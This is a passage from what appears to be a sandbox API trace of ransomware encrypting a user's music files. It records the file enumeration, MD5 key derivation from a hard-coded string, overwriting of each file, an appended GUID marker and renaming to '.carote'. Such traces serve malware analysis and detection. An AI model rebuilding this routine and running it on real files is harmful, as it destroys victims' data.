nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.958] CloseHandle (hObject=0x61c) returned 1 [0112.959] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.959] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.959] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1bO9BvF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\1bo9bvf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1bO9BvF.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\1bo9bvf.mp3.carote")) returned 1 [0112.960] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.960] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.960] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.961] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745d4240, ftCreationTime.dwHighDateTime=0x1d4cf4c, ftLastAccessTime.dwLowDateTime=0xbff36fe0, ftLastAccessTime.dwHighDateTime=0x1d4c745, ftLastWriteTime.dwLowDateTime=0xbff36fe0, ftLastWriteTime.dwHighDateTime=0x1d4c745, nFileSizeHigh=0x0, nFileSizeLow=0xcc15, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1zNCStn2l4koWKgb1O.m4a", cAlternateFileName="1ZNCST~1.M4A")) returned 1 [0112.961] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.961] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.961] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.961] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1zNCStn2l4koWKgb1O.m4a") returned=".m4a" [0112.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1zNCStn2l4koWKgb1O.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\1zncstn2l4kowkgb1o.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.962] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=52245) returned 1 [0112.962] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.963] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcbef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.963] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.964] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.965] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xcc15, lpOverlapped=0x0) returned 1 [0112.965] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.965] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.965] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.965] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.966] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.966] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.966] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.966] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.966] GetLastError () returned 0x0 [0112.966] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.966] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xcc20) returned 0x7b182e0 [0112.967] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.967] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xcc10, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xcc10, lpOverlapped=0x0) returned 1 [0112.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.967] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcc15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.967] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.967] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.967] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.967] CloseHandle (hObject=0x61c) returned 1 [0112.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0112.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0112.968] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1zNCStn2l4koWKgb1O.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\1zncstn2l4kowkgb1o.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1zNCStn2l4koWKgb1O.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\1zncstn2l4kowkgb1o.m4a.carote")) returned 1 [0112.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.969] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.970] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8102460, ftCreationTime.dwHighDateTime=0x1d4ce29, ftLastAccessTime.dwLowDateTime=0x3ef06560, ftLastAccessTime.dwHighDateTime=0x1d4cc7c, ftLastWriteTime.dwLowDateTime=0x3ef06560, ftLastWriteTime.dwHighDateTime=0x1d4cc7c, nFileSizeHigh=0x0, nFileSizeLow=0x14d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4nAMxRgwJpjNgKt6.mp3", cAlternateFileName="4NAMXR~1.MP3")) returned 1 [0112.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.970] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\4nAMxRgwJpjNgKt6.mp3") returned=".mp3" [0112.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\4nAMxRgwJpjNgKt6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\4namxrgwjpjngkt6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.972] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=85280) returned 1 [0112.972] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.973] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14cfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.973] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.975] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.975] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.975] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.975] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x14d20, lpOverlapped=0x0) returned 1 [0112.976] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.976] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.976] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.976] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.976] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.976] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.976] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.976] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.977] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.977] GetLastError () returned 0x0 [0112.977] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.977] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.977] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x14d20) returned 0x7b182e0 [0112.977] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.977] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.977] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x14d1b, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x14d1b, lpOverlapped=0x0) returned 1 [0112.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.978] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14d20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.978] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.978] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.978] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.978] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.978] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.978] CloseHandle (hObject=0x61c) returned 1 [0112.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0112.979] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.979] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0112.979] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\4nAMxRgwJpjNgKt6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\4namxrgwjpjngkt6.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\4nAMxRgwJpjNgKt6.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\4namxrgwjpjngkt6.mp3.carote")) returned 1 [0112.980] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.980] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.981] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.981] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc18a10, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0xd2cf9d90, ftLastAccessTime.dwHighDateTime=0x1d4cb79, ftLastWriteTime.dwLowDateTime=0xd2cf9d90, ftLastWriteTime.dwHighDateTime=0x1d4cb79, nFileSizeHigh=0x0, nFileSizeLow=0x88cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7CaTmGrvAXcZ6sIkKZCC.mp3", cAlternateFileName="7CATMG~1.MP3")) returned 1 [0112.981] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.981] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.981] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.981] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7CaTmGrvAXcZ6sIkKZCC.mp3") returned=".mp3" [0112.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7CaTmGrvAXcZ6sIkKZCC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\7catmgrvaxcz6sikkzcc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.982] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=35023) returned 1 [0112.982] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.983] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x88a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.983] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.985] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.985] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.985] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.985] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x88cf, lpOverlapped=0x0) returned 1 [0112.986] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.986] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.986] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.986] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.986] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.986] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.986] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.986] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.986] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.986] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.986] GetLastError () returned 0x0 [0112.987] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.987] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.987] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.987] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x88d0) returned 0x7b182e0 [0112.987] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.987] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.987] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x88ca, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x88ca, lpOverlapped=0x0) returned 1 [0112.987] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.987] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x88cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.987] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.987] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.987] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.987] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.987] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.987] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.987] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.987] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.987] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.988] CloseHandle (hObject=0x61c) returned 1 [0112.988] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0112.988] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.988] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0112.988] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7CaTmGrvAXcZ6sIkKZCC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\7catmgrvaxcz6sikkzcc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\7CaTmGrvAXcZ6sIkKZCC.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\7catmgrvaxcz6sikkzcc.mp3.carote")) returned 1 [0112.989] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.989] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.990] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.990] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: 